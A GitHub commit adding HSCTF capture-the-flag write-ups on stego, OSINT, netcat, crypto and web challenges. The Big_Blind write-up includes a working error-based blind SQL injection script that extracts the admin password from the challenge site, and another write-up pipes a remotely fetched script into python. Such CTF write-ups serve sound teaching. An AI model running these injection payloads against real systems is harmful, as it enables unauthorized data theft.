Skip to content

Commit bdb8a95

Browse files
author
idekctf
authored
Add files via upload
1 parent 730e163 commit bdb8a95

12 files changed

+450
-0
lines changed

‎Big_Blind.md

+86
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
-From the title "Big Blind" I assumed this was some kind of Blind Injection, probably SQL, but I didn't want to assume anything.
2+
-Sending a single ' returned a 500 internal server error, backing up my theory that it was probably blind SQL injection.
3+
4+
-After trying a few different things, using the sleep function didn't return an error, but didn't seem to do anything.
5+
I tried other waiting commands like WAITFOR DELAY '0:0:10', dbms_pipe.receive_message(('a'),10) and pg_sleep(10), however, all of these returned errors.
6+
This meant that it was probably either SQLlite or MySQL.
7+
8+
-I then tested GLOB, a function that is in SQLlite but not MySQL, this returned an error, suggesting that it was MySQL
9+
10+
-Because the database was MySQL, I knew that SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM
11+
information_schema.tables),'a') would trigger an error if true, and put it into a python script to attempt to expose
12+
the database's contents.
13+
14+
-I used the script to determine the tablename (users) from information_schema.tables, then determined the column names
15+
(user, pass) from information_schema.columns, and then finally enumerated the username and password (admin, the flag)
16+
17+
-The script is here, I modified it to make it run for each different function, and in this form it is configured for
18+
enumerating the flag, which was the last time I used it(sorry if its a bit messy):
19+
20+
21+
22+
import requests
23+
url = "https://big-blind.hsc.tf/"
24+
payload = "user=ad'+'min&pass='+AND+IF(NOT+SUBSTRING((SELECT+TABLE_NAME+FROM+information_schema.tables+LIMIT+1),1,{})='{}',(SELECT+table_name+FROM+information_schema.tables),'a')#"
25+
headers = {
26+
'Host': 'big-blind.hsc.tf',
27+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
28+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
29+
'Accept-Language': 'en-US,en;q=0.5',
30+
'Accept-Encoding': 'gzip, deflate',
31+
'Content-Type': 'application/x-www-form-urlencoded',
32+
'Content-Length': '166',
33+
'Origin': 'https://big-blind.hsc.tf',
34+
'Connection': 'close',
35+
'Referer': 'https://big-blind.hsc.tf/',
36+
'Upgrade-Insecure-Requests': '1'
37+
}
38+
39+
40+
lalph = list(map(chr, range(ord('a'), ord('z')+1)))
41+
Ualph = list(map(chr, range(ord('A'), ord('Z')+1)))
42+
nums = list(range(0,10))
43+
blank = [""]
44+
additionals = ["_","$","{","}"]
45+
totalPos = blank+additionals+lalph+Ualph+nums
46+
fullAlph = []
47+
for val in totalPos:
48+
fullAlph.append(str(val))
49+
end = False
50+
thing = 0
51+
dbNames= []
52+
password = "flag"
53+
maxi = 50
54+
while thing < maxi:
55+
if(end==True):
56+
end=False
57+
print("Adding: "+password)
58+
dbNames+=[password]
59+
password=""
60+
61+
thing+=1
62+
for Char in totalPos:
63+
Char = str(Char)
64+
reqH = payload
65+
payload = "user=ad'+'min&pass='+AND+IF(NOT+SUBSTRING((SELECT+pass+FROM+users+WHERE+user='admin'+LIMIT+1+OFFSET+{}),1,{})='{}',(SELECT+table_name+FROM+information_schema.tables),'a')#"
66+
reqH = reqH.format(thing,len(password)+1,password+Char)
67+
#print(reqH)
68+
response = requests.request("POST", url, headers=headers, data=reqH)
69+
#print(response)
70+
if("<html lang" in str(response.content)):
71+
if(Char == ""):
72+
end=True
73+
break
74+
else:
75+
print(password+Char+"=True")
76+
password+=Char
77+
break
78+
else:
79+
print(password+Char+"=False")
80+
81+
82+
83+
84+
print("Database Names: ")
85+
for name in dbNames:
86+
print(str(name))

‎LsBlue.md

+21
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
## Writeup for misc/LsBlue ##
2+
3+
4+
--Problem:
5+
Orca watching is an awesome pastime of mine!
6+
Downloads: lsblue.png
7+
8+
9+
--Solution:
10+
From the category of this problem, we know that it is in the misc/forensic category. So, the first step I tried was to download the image and open it up in a hex editor to analyze the metadata. No flag. My next attempt was to run a stego tool on the image. Since the image is a png I went with my favorite tool; Zsteg.
11+
12+
-Below is the command used in my shell: zsteg -a lsblue.png
13+
14+
The output gave me tons of crap to sift through but I'm lazy and didn't want to do that, so with a quick grep command for flag{. We were able to modify the command and get the flag.
15+
16+
-New command: zsteg -a lsblue.png | grep "flag{"
17+
-Output: b1,b,lsb,xy .. text: "flag{0rc45_4r3nt_6lu3_s1lly_4895131}"
18+
19+
And there it is!
20+
21+
--Flag: flag{0rc45_4r3nt_6lu3_s1lly_4895131}

‎NRC.md

+26
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
## NRC (955 solves/107 points) ##
2+
## Description:
3+
Find the flag :)
4+
5+
no-right-click.hsc.tf
6+
7+
## Solution:
8+
As the link says, there's no right click on the website; however, with ``Ctrl+Shift+C`` we are able to see the developer console. We can navigate to the sources tab and then view ``useless-files.css``:
9+
```css
10+
body {
11+
text-align: center;
12+
font-size: 5rem;
13+
font-family: 'Abril Fatface', cursive;
14+
}
15+
.small {
16+
margin-top: 50vh;
17+
font-size: 0.5rem;
18+
}
19+
/* cause i disabled it in index.js */
20+
/* no right click = n.r.c. */
21+
/* flag{keyboard_shortcuts_or_taskbar} */
22+
```
23+
And the the flag is on the last line.
24+
25+
## Flag:
26+
flag{keyboard_shortcuts_or_taskbar}

‎Return_of_the_Intro_to_Netcat.md

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# Return of the Intro to Netcat (662 solves/160 points)
2+
## Description:
3+
hey, netcat seems fun! (with a twist)
4+
`nc return-of-the-intro-to-netcat.hsc.tf 1337`
5+
6+
## Solution:
7+
After opening a terminal window and running `nc return-of-the-intro-to-netcat.hsc.tf 1337`, we see:
8+
```
9+
== proof-of-work: enabled ==
10+
please solve a pow first
11+
You can run the solver with:
12+
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AAB49VrGq+T0PVB6R9bV92Rb
13+
===================
14+
15+
Solution?
16+
```
17+
I opened another terminal window and ran `python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AAB49VrGq+T0PVB6R9bV92Rb`, which returned:
18+
```
19+
s.AAA5PRheLM93CpiPiRpLZwqciE7d19rTavx4VoIS1Oz6DRxHHFFghOCjFGIJlmbTfR5IWsTTM8rWz3mqtD02OM/sJ8QRxQT9u880J4MRfH462nqMIj9+igTbIg8K3nODylfy9z6rJIovsoMD7iDeydAsMTZu/tMQLzAkJgYvDOpV3SaksRgiZF9pDAUiVYQVTwdxrGQf8V/Iap4PUkY8FVQ+
20+
```
21+
I copied the result and gave it as input to the first terminal window, which returned:
22+
```
23+
Correct
24+
You got it! Here's what you're looking for: flag{the_cat_says_meow}
25+
```
26+
27+
## Flag:
28+
flag{the_cat_says_meow}

‎c-brother-1.md

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# c-brother-1 (65 solves/476 points)
2+
## Description:
3+
AC01010 and JC01010's long lost twin has joined the [HSCTF discord](https://discord.gg/C9UMj3qN8a) and started a Youtube channel! Although they haven't uploaded any videos, they've made some customizations to some of their video watermarks.
4+
5+
Please respect the privacy of our organizers and do not OSINT any of our organizers. None of the flags are hidden on our own social media sites or other accounts. This challenge includes BC01010 and this person only. Do not visit any other profiles, including JC01010, AC, or any other organizers. Thank you.
6+
## Solution:
7+
I first went to the discord server and searched for '01010' and found the user BC01010. A [YouTube channel](https://www.youtube.com/channel/UCqZq81jZcdjAHQJ3UtAbdaA) was connected to the profile, but since there were no videos uploaded, I couldn't easily extract the watermark. After doing some research on channel watermarks, I found that this is the generic form for the watermark link: i.ytimg.com/an/{channelId}/featured_channel.jpg. The channel id can be found easily as it is the text after "UC" in https://www.youtube.com/channel/UCqZq81jZcdjAHQJ3UtAbdaA. After inserting the channel id in the generic watermark link, we see:
8+
![image](https://i.ytimg.com/an/qZq81jZcdjAHQJ3UtAbdaA/featured_channel.jpg)
9+
10+
## Flag:
11+
`flag{h1dd3n_wat3rm@rk}`

‎c-brother-2.md

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
# c-brother-2 (49 solves/483 points)
2+
## Description:
3+
It looks like AC01010 and JC01010's third twin has changed their profile picture!
4+
5+
Note: It may be helpful to solve c-brother-1 before c-brother-2
6+
7+
Please respect the privacy of our organizers and do not OSINT any of our organizers. None of the flags are hidden on our own social media sites or other accounts. This challenge includes BC01010 and this person only. Do not visit any other profiles, including JC01010, AC, or any other organizers. Thank you.
8+
9+
## Solution:
10+
The descriptions hints at finding an old profile picture for the [YouTube channel](https://www.youtube.com/channel/UCqZq81jZcdjAHQJ3UtAbdaA) we found in c-brother-1. To do so, I used the Wayback Machine on all the pages on the channel. Eventually, I found this link: https://web.archive.org/web/20210614150352if_/https://www.youtube.com/channel/UCqZq81jZcdjAHQJ3UtAbdaA/about, where the profile picture seemed to be the flag.
11+
![image](https://yt3.ggpht.com/Ug17FJY-SiCjr5JuAR_JIcBtmoUirZ2g6lVzm3NstW2K9gH5aH1jbuDaYF36-f4jdtTzd95f=s88-c-k-c0x00ffffff-no-rj)
12+
It was a bit hard to read, so I right-clicked the profile picture to get: https://web.archive.org/web/20210614150354/https://yt3.ggpht.com/Ug17FJY-SiCjr5JuAR_JIcBtmoUirZ2g6lVzm3NstW2K9gH5aH1jbuDaYF36-f4jdtTzd95f=s88-c-k-c0x00ffffff-no-rj.
13+
I copied the portion of the link after "https://web.archive.org/web/20210614150354/" and changed "s88" to "s500" to see:
14+
![image](https://yt3.ggpht.com/Ug17FJY-SiCjr5JuAR_JIcBtmoUirZ2g6lVzm3NstW2K9gH5aH1jbuDaYF36-f4jdtTzd95f=s500-c-k-c0x00ffffff-no-rj)
15+
## Flag:
16+
flag{f1ag_fl@g_fla6}

‎cyanocitta-cristata-cyanotephra-but-fixed.md

+113
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
Writeup for crypto/cyanocitta-cristata-cyanotephra-but-fixed
2+
3+
4+
# Problem:
5+
Only the ciphertext has changed from the original challenge.
6+
7+
The Blue Jay (Cyanocitta cristata) is a passerine bird in the family Corvidae, native to North America. It is resident through most of eastern and central United States and southern Canada, although western populations may be migratory. It breeds in both deciduous and coniferous forests, and is common near and in residential areas. It is predominately blue with a white chest and underparts, and a blue crest. It has a black, U-shaped collar around its neck and a black border behind the crest. Sexes are similar in size and plumage, and plumage does not vary throughout the year. Four subspecies of the Blue Jay are recognized.
8+
Downloads: [output.txt] [cyanocitta-cristata-cyanotephra.sage]
9+
10+
11+
# Solution:
12+
From the category of this problem, we know that it is a crypto problem, so let's download both [output.txt] and [cyanocitta-cristata-cyanotephra.sage]. Opening both
13+
14+
-[output.txt]:
15+
[(26, 66, 70314326037540683861066), (175, 242, 1467209789992686137450970), (216, 202, 1514632596049937965560228), (13, 227, 485439858137512552888191), (1, 114, 112952835698501736253972), (190, 122, 874047085530701865939630), (135, 12, 230058131262420942645110), (229, 220, 1743661951353629717753164), (193, 81, 704858158272534244116883)]
16+
886191939093 589140258545
17+
19440293474977244702108989804811578372332250
18+
19+
-[cyanocitta-cristata-cyanotephra.sage]:
20+
```
21+
import random
22+
var("x y")
23+
flag = int(open('flag.txt','rb').read().hex(),16)
24+
xs = [random.randint(1,256) for i in range(9)]
25+
ys = [random.randint(1,256) for i in range(9)]
26+
assert not any([xs[i]==ys[i] for i in range(9)])
27+
c = [random.randint(1,2^64) for i in range(len(xs))]
28+
f(x,y)=c[0]*x^2+c[1]*y^2+c[2]*x*y+c[3]*x+c[4]*y+c[5]
29+
solns = [int(f(xs[i],ys[i])) for i in range(len(xs))]
30+
print([(xs[i],ys[i],solns[i]) for i in range(9)])
31+
a,b = random.randint(1,2^40),random.randint(1,2^40)
32+
print(a,b)
33+
print((int(f(a,b)))^^flag)
34+
```
35+
36+
-Let's breakdown [cyanocitta-cristata-cyanotephra.sage]:
37+
xs = [random.randint(1,256) for i in range(9)]
38+
The "xs" values create the first 9 values in each list. Let's group the xs values together from [output.txt] and put it in a matrix:
39+
xs = [26, 175, 216, 13, 1, 190, 135, 229, 193]
40+
Let's do the same for ys
41+
ys = [66, 242, 202, 227, 114, 122, 12, 220, 81]
42+
43+
solns = [int(f(xs[i],ys[i])) for i in range(len(xs))]
44+
For "solns", we get the last 9 values in each list. This is found by f(x,y)=c[0]*x^2+c[1]*y^2+c[2]*x*y+c[3]*x+c[4]*y+c[5] equation.
45+
46+
To find the values of c[0], c[1], c[2], c[3], c[4], c[5] we can create a system of equations by substiting 6 values of xs and 6 values of ys into the f(x,y) function. Let's change each c value to a variable.
47+
c[0]=a | c[1]=b | c[2]=c | c[3]=d | c[4]=e | c[5]=f
48+
Our 6 equations:
49+
```
50+
26**2a + 66**2b + 22*66c + 26d + 66e + f = 70314326037540683861066
51+
175**2a + 242**2b + 175*242c + 175d + 242e + f = 1467209789992686137450970
52+
216**2a + 202**2b + 216*202c + 216d + 202e + f = 1514632596049937965560228
53+
13**2a + 227**2b + 13*227c + 13d + 227e + f = 485439858137512552888191
54+
1a + 114**2b + 114c + 1d + 114e + f = 112952835698501736253972
55+
190**2a + 122**2b + 122*190c + 190d + 122e + f = 874047085530701865939630
56+
```
57+
58+
Now we're ready to solve for the a,b,c,d,e,f. I used this solve script with mpmath and npumpy after putting each equation into matrix form:
59+
```
60+
from mpmath import *
61+
import numpy as np
62+
63+
mp.prec = 1000
64+
mp.dps = 1000
65+
mp.pretty = False
66+
67+
print(mp)
68+
69+
A = matrix([[mpf(26**2), mpf(66**2), mpf(22*66), mpf(26), mpf(66), mpf(1)],
70+
[mpf(175**2), mpf(242**2), mpf(175*242), mpf(175), mpf(242), mpf(1)],
71+
[mpf(216**2), mpf(202**2), mpf(216*202), mpf(216), mpf(202), mpf(1)],
72+
[mpf(13**2), mpf(227**2), mpf(13*227), mpf(13), mpf(227), mpf(1)],
73+
[mpf(1), mpf(114**2), mpf(114), mpf(1), mpf(114), mpf(1)],
74+
[mpf(190**2), mpf(122**2), mpf(122*190), mpf(190), mpf(122),mpf(1)]])
75+
B = np.array([mpf(70314326037540683861066), mpf(1467209789992686137450970), mpf(1514632596049937965560228),
76+
mpf(485439858137512552888191), mpf(112952835698501736253972), mpf(874047085530701865939630)])
77+
X = np.array((A**-1).tolist()).dot(B)
78+
79+
print(X)
80+
```
81+
We obtain these values for c[0], c[1], c[2], c[3], c[4], c[5]:
82+
[mpf('11227347570319680787')
83+
mpf('8521180195499215015')
84+
mpf('14706786521482826438')
85+
mpf('2369955372216026905')
86+
mpf('4447776531968912934')
87+
mpf('14360386757903922932')]
88+
c[0]=11227347570319680787, c[1]=8521180195499215015, c[2]=14706786521482826438, c[3]=2369955372216026905, c[4]=4447776531968912934, c[5]=14360386757903922932
89+
90+
Now that we know all neccesary values for c we can plug each of the numbers back into the original sagemath script with a little modification:
91+
a = 886191939093, b = 589140258545
92+
```
93+
import random
94+
var("x y")
95+
#flag = int(open('flag.txt','rb').read().hex(),16)
96+
#xs = [random.randint(1,256) for i in range(9)]
97+
#ys = [random.randint(1,256) for i in range(9)]
98+
#assert not any([xs[i]==ys[i] for i in range(9)])
99+
c = [11227347570319680787, 8521180195499215015,14706786521482826438,2369955372216026905,4447776531968912934,14360386757903922932]
100+
f(x,y)=c[0]*x^2+c[1]*y^2+c[2]*x*y+c[3]*x+c[4]*y+c[5]
101+
#solns = [int(f(xs[i],ys[i])) for i in range(len(xs))]
102+
#print([(xs[i],ys[i],solns[i]) for i in range(9)])
103+
a,b = 886191939093,589140258545
104+
#print(a,b)
105+
print(int(f(a,b)))
106+
```
107+
Output: 19453112380317214095677318883741141782768295
108+
We then XOR this with 19440293474977244702108989804811578372332250
109+
To get: 34852863801140041977112467590591656571005
110+
We convert this to hex, then ASCII to get our flag!
111+
112+
# Flag:
113+
flag{d8smdsx01a0}

0 commit comments

Comments
 (0)